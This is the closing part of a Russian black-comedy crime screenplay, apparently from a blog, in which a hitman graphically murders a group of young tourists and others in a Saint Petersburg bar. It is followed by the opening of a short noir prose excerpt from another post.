  <p id="QKOr">Петр не врубается что происходит, но на автопилоте начинает семенить следом.</p>
  <p id="TTFp" data-align="center">ПЕТР</p>
  <p id="IouI">             Эээ.. куда? Стоп! </p>
  <p id="N0hh">             Але!</p>
  <p id="C841">             Мы так не договаривались!</p>
  <p id="gxJp">             Куда мы вообще идем?</p>
  <p id="st6g" data-align="center">АРТУР</p>
  <p id="fAyR">             За миллионом. </p>
  <p id="F6T1">             Как ты хотел.</p>
  <p id="mZmz">             Остальные девять чуть попозже занесу.</p>
  <p id="awmY">Подходят к мусорному контейнеру. </p>
  <p id="LUQD">Поскольку дело происходит в культурной столице, помойка имеет неповторимый флер недобитой интеллигенции: рядом с мусоркой выставлены бутылки из-под дорогого шампанского и вина, а из соседнего бака торчит свадебная фата.</p>
  <p id="pp0f">Артур невозмутимо приоткрывает крышку и указывает внутрь.</p>
  <p id="iQTP" data-align="center">АРТУР</p>
  <p id="rdtD">             Там внутри тебя ждет миллион. </p>
  <p id="eU1O">             Поздравляю с первым жизненным достижением.</p>
  <p id="x8dG">(услужливо)</p>
  <p id="14OM">             Подсадить?</p>
  <p id="BV5h"></p>
  <h2 id="2Y2t">17. ИНТ. БАР. СТОЛИК МОЛОДЕЖИ</h2>
  <p id="SrfG">Компания продолжает веселиться, но наконец замечает отсутствие Петра, которого нет уже довольно давно.</p>
  <p id="pCUZ" data-align="center">ЛИЗА</p>
  <p id="t60n">             Ребят, а где Петя? </p>
  <p id="y7Ym">             Что-то давно его нет.</p>
  <p id="45EW" data-align="center">МАКС</p>
  <p id="s3t1">             Ну блиин.. Начинается..</p>
  <p id="l98n">             С этим дебилом всегда одни проблемы.</p>
  <p id="W0Hb">             Последний раз его с собой берем.</p>
  <p id="V5nS">             Стопудово опять втихую набухался и валяется где-нибудь в канаве.</p>
  <p id="qJC5"></p>
  <p id="X2iS">(обращаясь к Павлу и толкнув его в плечо)</p>
  <p id="wdQL">             Пошли!</p>
  <p id="D9Lp">             Один я этого утырка не потащу.</p>
  <p id="1EBY">             Салфеток возьми, блевоту счищать.</p>
  <p id="EEyZ">Ребята поднимаются из-за столика и быстро идут к выходу из бара.</p>
  <p id="Zuhz"></p>
  <h2 id="d7f6">18. НАТ. ПОДВОРОТНЯ ПЕРЕД ВХОДОМ В БАР</h2>
  <p id="ogFi">Макс с Павлом стоят у выхода из бара и с ужасом наблюдают как Артур запихивает останки Петра в мусорный бак.</p>
  <p id="0HnN">Реагируют, но.. в стиле современной молодежи.</p>
  <p id="3GwK" data-align="center">МАКС</p>
  <p id="6G4N">(обращаясь к Павлу)</p>
  <p id="xxA5">             Доставай телефон и врубай камеру! </p>
  <p id="aX0T">             Ща будет ШОК-КОНТЕНТ!</p>
  <p id="9x7h">Дальше идет запись с камеры телефона Павла.</p>
  <p id="ddQS" data-align="center">МАКС</p>
  <p id="nfgf">             Слыш дед!  Эй!</p>
  <p id="2Ljt">             Ты че творишь ваще?!</p>
  <p id="3gMk">             Таблеток недоел? Или у вас в Питере все такие?</p>
  <p id="g4F2">             К тебе обращаюсь.</p>
  <p id="z0TU">Артур невозмутимо закрывает крышку мусорного контейнера, отряхивается и наконец поворачивается к новым гостям.</p>
  <p id="6Ot0" data-align="center">АРТУР</p>
  <p id="BxXg">(кивая на мусорный бак)</p>
  <p id="scZz">             Просто помогаю вашему другу обрести желаемое. </p>
  <p id="zmLf">             Успокойтесь и не надо так орать.</p>
  <p id="bpzg">             Это неприлично.</p>
  <p id="kn4q">(окидывает ребят оценивающим взглядом)</p>
  <p id="cRjH">             А.. так вы туристы. </p>
  <p id="hlDI">             В Эрмитаже уже были?</p>
  <p id="QXA2">             Могу проводить, тут недалеко.</p>
  <p id="p4PG">Артур пытается приблизиться, раскинув руки в примирительном жесте. Молодые придурки отскакивают назад.</p>
  <p id="SejX" data-align="center">ПАВЕЛ</p>
  <p id="M4Ng">             Не приближайся! Мы все записываем!</p>
  <p id="wbX5" data-align="center">МАКС</p>
  <p id="3Uv9">             Понэл!</p>
  <p id="aWiO">(встает в подобие боксерской стойки, начинает подрыгивать на месте)</p>
  <p id="rHh1">             Ща втащу!</p>
  <p id="5Kly">             И че ты сделаешь, дед?</p>
  <p id="pdep">Тут происходит переход статичного кадра с мерзкой рожи охамевшего малолетнего полудурка на его же разбитое и окровавленное лицо, с забитым в глотку телефоном. </p>
  <p id="f3yT">Примерно как это было в одной из серий &quot;Игры престолов&quot;.</p>
  <p id="TZOk"></p>
  <h2 id="awRN">19. ИНТ. БАР. СТОЛИК МИХАИЛА.</h2>
  <p id="WTwi">Михаил наслаждается кофе, явно приготовленным с бОльшими усилиями для дорогого гостя.</p>
  <p id="r4zL">Подносит чашку ко рту, отпивает жмурясь от наслаждения — как в рекламе «Нескафе».</p>
  <p id="TG9J">В это время камера перемещается вверх к маленькому, залитому светом окну, где на асфальт падает залитый кровью и обезумевший от боли и ужаса Павел.</p>
  <p id="OoKk">Затем его кто-то ловит за ноги и начинает медленно тащить из кадра.</p>
  <p id="Eg1n">Павел пытается сопротивляться и царапает асфальт сбивая пальцы в кровь, но все тщетно.</p>
  <p id="AU8D">Его утаскивают.</p>
  <p id="pBNd">Камера возвращается вниз, где Михаил продолжает наслаждаться своим кофе и отличным вечером. </p>
  <p id="yvXt"></p>
  <h2 id="3s40">20. НАТ. ПОДВОРОТНЯ ПЕРЕД ВХОДОМ В БАР</h2>
  <p id="dxez">Камера показывает асфальт во дворе и медленно двигается по кровавым следам. </p>
  <p id="cuaE">Место действия — Питер, лето, поэтому асфальт разрисован посланиями в любви, детскими считалками и рекламой наркошопов.</p>
  <p id="I4lI">Наконец мы видим медленно ползущего Павла, с переломанными ногами и вспоротым брюхом.</p>
  <p id="MD9v">Павел умирает, изо рта уже отхаркивается кровь, но он продолжает упорно ползти к выходу из подворотни — к залитой светом улице, на которой кипит жизнь и ходят люди.</p>
  <p id="bDPB">Но доползти не успевает, поскольку Артур хватает его за ногу и тащит назад, во тьму.</p>
  <p id="pNcp">Переворачивает Павла, присаживается рядом и осматривает, пытаясь оценить состояние. Понимает, что тот не жилец.</p>
  <p id="q46C">Павел тянет руку, которую Артур перехватывает и приблизив лицо к умирающему, ждет последние слова.</p>
  <p id="NAc3">Павел пытается что-то сказать, хрипит, изо рта льется кровь..</p>
  <p id="cnRT" data-align="center">ПАВЕЛ</p>
  <p id="kMhi">(неразборчиво, тыкая пальцем куда-то в небо)</p>
  <p id="aYMc">             К..к..камера.. Камера.. на..блю..дения..</p>
  <p id="yHQ9" data-align="center">АРТУР</p>
  <p id="6aEX">             Что? </p>
  <p id="YW3L">              Аа.. ты про камеры?</p>
  <p id="l8Td">Оборачивается и смотрит в то место, куда указывает умирающий Павел.</p>
  <p id="Kovk">Высоко на столбе действительно висит камера наблюдения. И смотрит прямо на происходящее непотребство.</p>
  <p id="w6WG">Павел с хрипом пытается рассмеяться.</p>
  <p id="lxOe" data-align="center">ПАВЕЛ</p>
  <p id="dMnN">(внезапно вспомнив свои украинские корни)</p>
  <p id="coZq">             Все.. дiдько.. Тобi пiзда..</p>
  <p id="RxKI" data-align="center">АРТУР</p>
  <p id="v1xd">             Не стоит конечно портить последнее впечатление туриста о нашем замечательном городе. </p>
  <p id="c5Oh">             Но есть нюанс.</p>
  <p id="s4Te">(отчески)</p>
  <p id="F50h">             Видишь ли, мой юный друг.. </p>
  <p id="j2Dn">             Камеры-то в городе конечно есть. </p>
  <p id="FFTG">             И даже работают.</p>
  <p id="4Eji">             Но вот хранилища под записи с камер. </p>
  <p id="dBBY">             Их нет.</p>
  <p id="iG1C">             Ну.. потому что это был другой контракт, да. </p>
  <p id="9E83">(кивает головой в огорчении)</p>
  <p id="feJl">             Такое бывает. </p>
  <p id="5odS">             Не успели закупить.</p>
  <p id="fMmw">(пауза)</p>
  <p id="F1I2">             Поэтому твою преждевременную кончину увидят конечно многие. </p>
  <p id="vd4w">             Но запомню только я один.</p>
  <p id="mBLq">             Могу последние слова твоей маме потом передать.</p>
  <p id="b7vT">(с умилением)</p>
  <p id="oaNg">             Она у такого-то пирожочка наверняка красивая.</p>
  <h2 id="hT7N">21. ИНТ. СТОЛИК МОЛОДЕЖИ</h2>
  <p id="SPWy">За столиком остались лишь дамы — Лиза с Алиной. Дамы начинают нервничать, поскольку парней нет и довольно давно.</p>
  <p id="C9v9">Мерзкий бармен уже косится на бесхозных, захмелевших дам и вот-вот начнет подкатывать.</p>
  <p id="3MRL" data-align="center">АЛИНА</p>
  <p id="q2QS">Блин ну и где эти придурки шляются.</p>
  <p id="wWeQ" data-align="center">ЛИЗА</p>
  <p id="k9u6">(смотрит на наручные часы)</p>
  <p id="HD8c">             Так, нам скоро уже выходить.</p>
  <p id="HORI">Достает телефон, открывает чат и начинает писать Павлу. </p>
  <p id="h3Uy">             Странно.. </p>
  <p id="BMxO">             Почему-то Паша не в сети..</p>
  <p id="6tqW">             Телефон разрядился что-ли?</p>
  <p id="I1yn">(обращаясь к Алине)</p>
  <p id="MC6u">             Позвони своему, а?</p>
  <p id="4kQ6" data-align="center">АЛИНА</p>
  <p id="eFa6">(дуясь после стычки)</p>
  <p id="Lt7I">             Да щас!</p>
  <p id="RHPU">             Пусть первый звонит и извиняется!</p>
  <p id="Zddx">             И шоб с цветами!</p>
  <p id="77XT" data-align="center">ЛИЗА</p>
  <p id="6d2i">             Алин, дело серьезное. </p>
  <p id="VqEj">             Их давно нет.</p>
  <p id="yJXs">           </p>
  <p id="QAG2">Алина достает розовый айфон и делает вызов.</p>
  <p id="VaTl">В этот момент камера показывает залитый кровью, разбитый телефон, забитый в глотку Максу. </p>
  <p id="bBvd">Телефон начинает светиться и вибрировать, красиво подсвечивая сильно избитое лицо своего бывшего владельца.</p>
  <p id="JgGW">В этот момент в телефон влетает кулак Артура, разбивая окончательно. </p>
  <p id="VUwm">Камера с ударом уходит в затемнение, дабы не пугать излишним мясом зрителей.</p>
  <p id="CG9Q" data-align="center">АЛИНА</p>
  <p id="tNaP">             Оч странно. </p>
  <p id="JkMb">             Сначала гудки, теперь «абонент не в сети».</p>
  <p id="G5NE" data-align="center">ЛИЗА</p>
  <p id="5rHp">             Да это все долбаный Питер. </p>
  <p id="4lZO">             В этих дворах-колодцах — как в гробу.</p>
  <p id="gibb">             Совсем сигнал не ловится.</p>
  <p id="6YGf" data-align="center">АЛИНА</p>
  <p id="dhHM">             (морщась)</p>
  <p id="ZrwJ">             Я походу траванулась. Живот крутит. Отойду в дамскую комнату. </p>
  <p id="r9Bk">             Cходи наверх чтоли, посмотри наших парней.</p>
  <p id="JohI">             Наверное они просто с кем-то затусили.</p>
  <p id="n6Ai">             Встретили кого-то из друзей.</p>
  <p id="TFSe">             Стоят и обсуждают свой WoW,  как последние чмошники. </p>
  <p id="xJhC">             Забыв про время.</p>
  <p id="vkLC">             А мы тут дергаемся.</p>
  <p id="9Ulm">Конец диалога уже в следующей сцене.</p>
  <h2 id="BxRK">22. НАТ. ВЫХОД ИЗ БАРА</h2>
  <p id="2kDi">Лиза стоит возле выхода из бара, в полном охренении от окружающего побоища. В глазах неописуемый ужас, в теле — паралич, в пустой голове — непонимание что делать дальше.</p>
  <p id="ESkR">Камера показывает прислоненное к стене, окровавленное тело Макса, свесившего вниз остатки лица. </p>
  <p id="gg7p">Затем Лиза замечает Артура, невозмутимо тянущего за ноги труп Павла, подальше от света улицы.</p>
  <p id="iQzu">Артур насвистывает мелодию из «Бригады».</p>
  <p id="viaT">Тут Артур замечает Лизу, видит что та вот-вот закричит, бросает Павла и быстро приближается к Лизе.</p>
  <p id="LmxL">Парализованная от ужаса Лиза не понимает кто и зачем к ней приближается.</p>
  <p id="6CxL" data-align="center">АРТУР</p>
  <p id="nD2t">(делая руками успокаивающий жест)</p>
  <p id="y4at">             Все хорошо, успокойся. </p>
  <p id="gG4H">             Я из полиции. </p>
  <p id="02vV">             Это просто спецэффекты. Мы тут кино снимаем.</p>
  <p id="QwBa">             Все под контролем.</p>
  <p id="tkZ3">Обманув таким нехитрым образом бдительность малолетней идиотки, Артур наконец вплотную приближается к Лизе. </p>
  <p id="RTJR">Одной рукой он закрывает ей рот, а в другой оказывается нож, которым он наносит быстрый удар в живот.</p>
  <p id="Hl9T">Лиза не сразу понимает что произошло и почему она так быстро слабеет. Она подносит пальцы к животу и возвращает в кадр уже окровавленными.  </p>
  <p id="fFCu">На лице появляется осознание и Лиза переносит полный страха взгляд на своего убийцу. Начинает плакать.</p>
  <p id="6J4y">Тут она внезапно слабеет и чтобы не потерять равновесие вцепляется в Артура.</p>
  <p id="CfDo" data-align="center">АРТУР</p>
  <p id="wNAI">(медленно помогая Лизе сесть на ступеньки у входа в бар)</p>
  <p id="wdxJ">             Все хорошо. Все будет хорошо. </p>
  <p id="2eh6">             Просто ты умираешь.</p>
  <p id="qkU9">             Так бывает.</p>
  <p id="Qv74">(пауза)</p>
  <p id="KxsZ">             Увидишь на том свете кого из святых — попроси почаще заглядывать в наш замечательный город.</p>
  <p id="uCY3">             Хотя-бы на Рубенштейна.</p>
  <p id="KIyU">(задумавшись)</p>
  <p id="m2AM">             А если будет кто с рогами и копытами — все равно зови.</p>
  <p id="8HTA">             Для таких у нас тоже места есть, интересные. </p>
  <p id="bdOh"></p>
  <h2 id="LGn2">23. ИНТ. БАР</h2>
  <p id="N06Q">Сильно заляпанный чужой кровью, в порванной одежде, с небольшими ссадинами и кровоподтеками, Артур спускается по ступенькам обратно в бар, проходит через помещение и садится за столик с Михаилом.</p>
  <p id="W6JA">Михаил смотрит на него, замечает новый прикид и пытается понять как на это реагировать.</p>
  <p id="GMCI" data-align="center">МИХАИЛ</p>
  <p id="PQtq">             Эээ.. полагаю встретил старых друзей?</p>
  <p id="HtTW">(озираясь в поисках свидетелей)</p>
  <p id="2hHF">             Мне проблемы не особо нужны..</p>
  <p id="LPyo" data-align="center">АРТУР</p>
  <p id="IaBF">(медленно, по слогам)</p>
  <p id="IeLk">             Тебе проблемы не нужны..</p>
  <p id="8Dks">             Ну на-до же-ее..</p>
  <p id="WcTW">             Кто бы мог подумать.</p>
  <p id="0i9X">(пристально смотрит в глаза Михаилу)</p>
  <p id="rAJi">             Но вот ты сидишь здесь, в этом подвале из девяностых. </p>
  <p id="dC9z">             Весь такой красивый и современный.</p>
  <p id="JYLE">             Затираешь про будущее, которое наступило.</p>
  <p id="UIZD">             Типа «дорогу молодым» и как все кругом изменилось.</p>
  <p id="QE6q">(показывает на окровавленную одежду)</p>
  <p id="J23W">             Но видишь ли.</p>
  <p id="o3tN">             Я тут недавно пообщался с подрастающим поколением.</p>
  <p id="BDyx">Камера на миг показывает окровавленные трупы туристов. </p>
  <p id="pnkv">             И теперь имею другое мнение, прикинь.</p>
  <p id="AbbU">(процедив)</p>
  <p id="11ey">             Ни-че-го не изменилось.</p>
  <p id="v9hG">             По улицам бегают точно такие же молодые волки. Только заметно тупее.</p>
  <p id="J7rV">             И жрут друг друга.</p>
  <p id="B7P0">             А это значит..</p>
  <p id="CWRJ">(задумавшись)</p>
  <p id="m7gg">             Вот кстати.. </p>
  <p id="RSWB">             Как ты сам думаешь, что это значит?</p>
  <p id="86vs">Михаил пожимает плечами, в полной уверенности что они с Артуром договорились, не понимая что ситуация изменилась.</p>
  <p id="KotT" data-align="center">Артур</p>
  <p id="zk8I">(с улыбкой)</p>
  <p id="0cTZ">             А это значит, мой дорогой беглый друг..</p>
  <p id="FEvV">             Что правила не изменились. </p>
  <p id="aqFc">(берется за автомат, спрятанный под столом)</p>
  <p id="A63Y">             ДОБРО ПОЖАЛОВАТЬ НА РОДИНУ МУДИЛА!</p>
  <p id="bsMR">(расстреливает Михаила в упор)</p>
  <p id="rYVj">Поскольку автомат был с глушителем, а расстрел происходит в подвале — к бару не стягиваются все возможные силовики и спецслужбы. </p>
  <p id="t33F">К сожалению именно в этот момент с кухни возвращается бармен, неся заказанные компанией острые крылышки.</p>
  <p id="aWpk">Заметив столь серьезные изменения в заведении, встает столбом и смотрит в немом изумлении то на Артура то на растерзанный труп Михаила, то на следы от пуль на стене.</p>
  <p id="SkYt">Артур рывком вытаскивает автомат из-под стола и медленно наводит на бармена.</p>
  <p id="wl8b">Делает знак — «подними руки вверх».</p>
  <p id="tSUJ">Бармен не понимает и думая, что команда касалась тарелки с заказанной едой, медленно ставит их на ближайший столик.</p>
  <p id="eWeJ" data-align="center">АРТУР</p>
  <p id="6Hca">(качая головой от такой идиотии)</p>
  <p id="uWy3">             Руки подними, полудурок.</p>
  <p id="BkE9">Артур не отрывая взгляда от бармена, одной рукой держит автомат а другой достает из сумки старый потертый ПМ.</p>
  <p id="oUuA" data-align="center">АРТУР</p>
  <p id="36qK">(заметив взгляд бармена, направленный на навороченный автомат) </p>
  <p id="MRVk">             Оружие импортное, патроны дорогие.</p>
  <p id="P4dM">             Только для особых клиентов.</p>
  <p id="kHJ9">             Ты же не обидишься?</p>
  <p id="VStc">Бармен в недоумении кивает.</p>
  <p id="cPMo">Артур стреляет из ПМ бармену в живот, но выстрел не убивает сразу.</p>
  <p id="agEb">Бармен орет от боли и катается по полу.</p>
  <p id="PkUv">Артур в это время медленно разбирает автомат, снимает глушитель и отсоединяет магазин, аккуратно складывая все в сумку под задорную музыку начала 90х.</p>
  <p id="MFmA">Присаживается возле умирающего бармена. </p>
  <p id="kDq8" data-align="center">АРТУР</p>
  <p id="BMOj">(с выражением)</p>
  <p id="6pSw">             Все же расскажу, почему всегда заказываю Американо.</p>
  <p id="CCfi">(бармен перестает стонать и с ужасом смотрит на Артура)</p>
  <p id="3Bpx">             Потому что его нельзя испортить, представляешь?</p>
  <p id="Jd9C">             Кофе, вода и молоко. </p>
  <p id="kwI4">             И все. </p>
  <p id="OHCd">             Все.</p>
  <p id="qZcr">             Даже самый тупой подросток, не определившийся с полом или кривозубый бармен в убогом баре всегда могут приготовить сраную чашечку Американо.</p>
  <p id="68nT">             Даже будучи насквозь упоротыми или в депрессии.              </p>
  <p id="dcNz">             Но ты, мой друг, превзошел самые худшие ожидания.</p>
  <p id="sbLT">             Cмог испоганить такой простой напиток.</p>
  <p id="yAmX" data-align="center">БАРМЕН</p>
  <p id="nhL6">(из последних сил, корчась от боли)</p>
  <p id="1A2G">             ПОШЕЛ НА..!</p>
  <p id="SCvl">Закончить он не успевает, поскольку Артур добивает его выстрелом в упор. </p>
  <h2 id="cvUa">24. НАТ. ВНУТРЕННИЙ ДВОР ПЕРЕД БАРОМ</h2>
  <p id="jOec">Показывается летнее небо с красивыми облачками. Ветер качает развешанную сушиться одежду (все еще встречается в старых районах).</p>
  <p id="LLps">Где-то вдалеке слышен детский смех и звуки большого города.</p>
  <p id="ix0b">Камера переходит на мертвого Павла.</p>
  <p id="iV5B">На труп садится голубь, курлыкает, затем начинает клевать мертвую руку.</p>
  <p id="lP5Y"></p>
  <h2 id="kOWc">25. ИНТ. БАР</h2>
  <p id="JIJa">Переход камеры с живого голубя на зажаренные крылышки — с легким намеком на ход вещей.</p>
  <p id="pCXV">Артур замечает оставленные барменом крылышки.</p>
  <p id="Ytsi" data-align="center">АРТУР</p>
  <p id="3B8x">             О! Ну хоть что-то хорошее за сегодня.</p>
  <p id="qw7j">Подбирает одно из зажаренных крылышек с тарелки, с хрустом и наслаждением начинает жевать.</p>
  <p id="PfeG">Внезапно из уборной возвращается Алина. Копаясь в сумочке на ходу, он не сразу замечает отсутствие ребят и окружающий погром.</p>
  <p id="FC21" data-align="center">АЛИНА</p>
  <p id="vx1p">             Ребят, тут кухня не очень. </p>
  <p id="VlUd">             Не налегайте на жратву. </p>
  <p id="nXFR">             Она походу несвежая..</p>
  <p id="OVwv">Услышав это, Артур перестает жевать и выплевывает остатки недоеденного.</p>
  <p id="H0lu">Закрыв наконец сумочку, Алина поднимает голову и видит пустой столик, где сидела их компания. </p>
  <p id="3Hxu">Посреди пустого зала.</p>
  <p id="L34l">Труп бармена она пока не замечает.</p>
  <p id="4n2i" data-align="center">АЛИНА</p>
  <p id="GOM0">(озираясь)</p>
  <p id="j1FR">             А.. а где все?</p>
  <p id="y97H">(уставившись на Артура)</p>
  <p id="czBf">             А вы кто?</p>
  <p id="RANk" data-align="center">АРТУР</p>
  <p id="GQsg">             Друг семьи.</p>
  <p id="ysgn" data-align="center">АЛИНА</p>
  <p id="PH9e">             Что.. чего? </p>
  <p id="hDHf">             Какой семьи?</p>
  <p id="rKog">Тут Алина наконец замечает ногу бармена, чей труп валяется на полу. Затем труп Михаила. И дырки от пуль в дальней стене.</p>
  <p id="qCxC" data-align="center">АРТУР</p>
  <p id="ALEx">(доставая ПМ и наводя на Алину)</p>
  <p id="KtCm">             Криминальной семьи.</p>
  <p id="gQjM">От выстрела Алина отлетает к стойке и замирает.</p>
  <p id="u8OE" data-align="center">АРТУР</p>
  <p id="ALIK">(проходя мимо трупа Алины)</p>
  <p id="QMeJ">             И почему смерть всегда забирает самых красивых..</p>
  <p id="7lvL">             В шалмане бы с тебя не слезали..</p>
  <p id="5qoZ">Убирает ПМ, достает из сумки гранату, отрывает чеку и закатывает гранату по полу на кухню.</p>
  <p id="J8mu" data-align="center">АРТУР</p>
  <p id="2laX">             Да и вообще мне ваш сервис никогда не нравился.</p>
  <p id="apRZ">Артур перекидывает сумку через плечо и выходит из бара.</p>
  <p id="6ygS"></p>
  <h2 id="ogWP">26. НАТ. ВХОД В БАР.</h2>
  <p id="sViV">Показывается залитая кровью подворотня, раскиданные по двору тела молодых туристов.</p>
  <p id="HQSW">У входа в бар на ступеньках сидит едва живая залитая кровью Лиза, которую пырнули в живот. </p>
  <p id="YDGz">Лизу плачет и прижимает руки к окровавленному животу.</p>
  <p id="iaVJ">Артур выходя из бара, замечает Лизу и присаживается рядом.</p>
  <p id="K61j" data-align="center">АРТУР</p>
  <p id="0YCy">             Понимаю, не самый лучший момент для подобных вопросов..</p>
  <p id="xH0x">(слышится глухой взрыв, из подвального помещения бара начинает валить черный дым)</p>
  <p id="6Mgq">             Но все же..</p>
  <p id="V0N7">             Вы, ребята успели.. побывать в Эрмитаже?              </p>
  <p id="3reG">(камера медленно обводит залитый кровью двор и валяющиеся трупы)</p>
  <p id="zFmL">             Там просто невероятно красиво!</p>
  <p id="qsUF">(оборачивась к Лизе и улыбаясь)</p>
  <p id="POIY">            Кстати, у меня есть для тебя подарок.</p>
  <p id="03F8">            Чтобы сделать этот день незабываемым.</p>
  <p id="eODE">Артур достает из сумки гранату и скотч, кладет гранату в сложенные лодочкой руки Лизы, затем медленно обматывает ей руки вместе с гранатой скотчем.</p>
  <p id="CpJQ">Лиза мелко дрожит, плачет и не может сопротивляться. </p>
  <p id="65Lv" data-align="center">АРТУР </p>
  <p id="UUrU">(во время процесса)</p>
  <p id="Kr1x">            Без обид, деточка.</p>
  <p id="CpAf">            Понимаю что ты ждала от жизни другого.</p>
  <p id="h88D">            Наверное у тебя были большие планы.</p>
  <p id="hkNR">(продолжает обматывать гранату скотчем)</p>
  <p id="KooD">            Мечты о лучшей жизни.</p>
  <p id="Ipqg">            Но увы.</p>
  <p id="I7cO">            Жизнь вот такое вот говно.</p>
  <p id="SAmA">(глядя в глаза)</p>
  <p id="6hb9">            Не люблю глумиться над убогими и умирающими, не тому меня мама учила.</p>
  <p id="bL2t">            Но очень надо оставить знак.</p>
  <p id="NDK5">Артур достает визитку Михаила, извлекает из сумки пачку меченых долларов и засовывает все это Лизе в трусы.</p>
  <p id="cRx3" data-align="center">АРТУР</p>
  <p id="ktUg">(в процессе запихивания)</p>
  <p id="dKNy">             Видишь ли, я сегодня слегка превысил свой лимит. </p>
  <p id="z9Lr">Камера показывает залитый кровью двор и раскиданные в разных позах трупы.</p>
  <p id="Rr1b">             Семь жмуров за раз.</p>
  <p id="yXaW">Камера показывает крупно расстрелянного Михаила и труп бармена рядом на полу. Затем труп Алины с навечно застывшим изумлением на лице и дырой в красивом лбу.</p>
  <p id="raRo">             На суицид ни один из них не потянет.</p>
  <p id="llJ1">             Мой тариф «Криминальный» такое не покрывает, понимаешь?</p>
  <p id="6Jee">             Придется доплачивать.</p>
  <p id="p6Jv">             А я всегда огорчаюсь когда доплачиваю.</p>
  <p id="PUcL">             Это не по христиански.</p>
  <p id="PeWu">Наконец Артур заканчивает с Лизой и натягивает трусы обратно.</p>
  <p id="v348" data-align="center">АРТУР</p>
  <p id="eKG6">            Не волнуйся деточка, это последний раз когда в тебе был мужчина.</p>
  <p id="udXB">            Надеюсь низ хорошо сохранится.</p>
  <p id="jbr9">            Жаль что вы ребята так и не успели побывать в Эрмитаже..</p>
  <p id="zWZz">Артур вырывает чеку и быстро уходит из кадра.</p>
  <p id="qIqI">Умирающая, плачущая, дрожащая от шока и ужаса, практически изнасилованная Лиза переводит взгляд с гранаты на экран, лицом к зрителю.</p>
  <p id="KPwR" data-align="center">ЛИЗА</p>
  <p id="MH0D">             П..п..помогите..</p>
  <p id="ZphZ">Какое время ничего не происходит. </p>
  <p id="IqiA">Экран уходит в затемнение.</p>
  <p id="UELf">Затем раздается взрыв.</p>
  <p id="9F23">Взрыв переходит в праздничный салют с феерверками на фоне самых известных мест Санкт-Петербурга.</p>
  <p id="vnBc">Появляется заставка:</p>
  <p id="ODB4" data-align="center">ВЕСЕЛЫЕ КАНИКУЛЫ</p>
  <p id="gySD"></p>
  <h2 id="vqhX">ТИТРЫ</h2>
  <p id="Zybh">Пока идут титры, показывается дополнительная история, с рассказом о последующих событиях — в стиле репортажа.</p>
  <p id="RkxU">Очень старый и тяжело больной мужчина, сидящий в инвалидном кресле-каталке смотрит на реку, слушает радио и курит сигару.</p>
  <p id="YIkz">Кресло-каталка стоит на террасе загородного коттеджа, вид на реку Неву, съемка со спины, лица не видно.</p>
  <p id="bIV3">По Неве плывет теплоход с туристами, по радио рассказывают новости.</p>
  <p id="hew3">             Пятеро молодых туристов оказались жертвами жестоких криминальных разборок в северной столице..</p>
  <p id="Xhx5">             Вчера днем в центре Санкт-Петербурга произошло массовое убийство..</p>
  <p id="qd4z">             На месте происшествия найден мертвым известный в прошлом криминальный авторитет Миша Козырной, недавно вернувшийся в Россию после начала расследования Интерпола.</p>
  <p id="jXff">             Найденные на месте улики показывают, что Козырной был связан с мексиканскими картелями и участвовал в незаконном обороте наркотиков.</p>
  <p id="z43t"></p>
  <p id="XhjW">             К другим новостям.</p>
  <p id="Z3m5">             Домовитый бобр с Чёрной речки таки обрушил дерево на припаркованную машину у элитного ЖК — ровно то, чего и боялись местные жители. </p>
  <p id="W9uJ">             На поимку лохматого даже вызывали спецов — но преступник оказался хитрее и быстрее человека с петлёй. </p>
  <p id="vA49">             Жители разошлись во мнениях: жалко добряка или своё имущество. В итоге пока решили оставить всё как есть.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://blog.0x08.ru/tru-cyberpunk-part-1</guid><link>https://blog.0x08.ru/tru-cyberpunk-part-1?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08</link><comments>https://blog.0x08.ru/tru-cyberpunk-part-1?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=alex0x08#comments</comments><dc:creator>alex0x08</dc:creator><title>Настоящий киберпанк (отрывок)</title><pubDate>Thu, 26 Feb 2026 06:56:40 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/ff/62/ff621fca-30ce-4bcb-ba33-c6c9ff7a53c9.png"></media:content><description><![CDATA[<img src="https://img1.teletype.in/files/46/06/4606ddaf-f3ed-4524-8a59-381b05e2e436.jpeg"></img>Небольшой отрывок, того что когда-нибудь станет полноценным произведением. Вам на оценку.]]></description><content:encoded><![CDATA[
  <p id="Otqm">Небольшой отрывок, того что когда-нибудь станет полноценным произведением. Вам на оценку.</p>
  <p id="3xOf">На основе моих «студенческих работ» по сценарному мастерству.</p>
  <figure id="GJUj" class="m_column">
    <img src="https://img1.teletype.in/files/46/06/4606ddaf-f3ed-4524-8a59-381b05e2e436.jpeg" width="1920" />
  </figure>
  <p id="htT4">На хорошего человека уходит обойма патронов. </p>
  <p id="Z5uR">На плохого — две.   <br />В меня разрядили четыре...</p>
  <p id="PT7F">Четыре полные обоймы... тридцать шесть маленьких кусочков свинца, наделавших тридцать шесть новых дырок —  серьезные люди не промахиваются. </p>
  <p id="FMeL">Особенно в упор.</p>
  <p id="QBL4">Смешно, мой доктор как-то сказал, что организму не хватает железа.. </p>
  <p id="QH7Y">Ну.. думаю теперь этот вопрос решен  — <strong>столько</strong> свинцовых пилюль моему бедному организму хватит надолго. </p>
  <p id="B7F2">С запасом. </p>
  <p id="ELaG">Хотя вряди доктор именно эти пилюли имел ввиду.</p>
  <p id="UtKi">..</p>
  <p id="p710">Теперь вы наверное захотите узнать, кто я вообще такой и почему лежу в позе морской звезды в этой вонючей и темной подворотне. </p>
  <p id="30Hz">В луже собственной крови, которая сейчас медленно перекрашивает мой дорогой костюм. </p>
  <p id="aIv5">Полагаю, еще определенные вопросы вызовет рюкзак, который валяется рядом. Вернее отрубленная голова внутри, с проводами.</p>
  <p id="y0wZ">Ну и наверное будет интересно, какое отношение ко всему этому имеет Надежда Кадышева и ансамбль «Самоцветы».</p>
  <p id="Tur8">Вопросы, вопросы..</p>
  <p id="G373">Неудачно вышло, что тут скажешь.</p>
  <p id="PxHQ">Но хочу сразу сообщить, что ни Надежда Кадышева ни ансамбль не имеют к происходящему никакого отношения.</p>
  <p id="bqTz">Все это совсем не важно. </p>
  <p id="SAir">Важно другое — что за каким-то бесом я до сих пор жив.</p>
  <p id="6MKu">Пусть и не целиком, но жив. </p>
  <p id="qfrd">На очень тонкой грани между живыми мертвыми. Оставить меня вот так — одной ногой в могиле это высший уровень мастерства. </p>
  <p id="ZZkT">Да, вы правильно поняли — мне позволили выжить.</p>
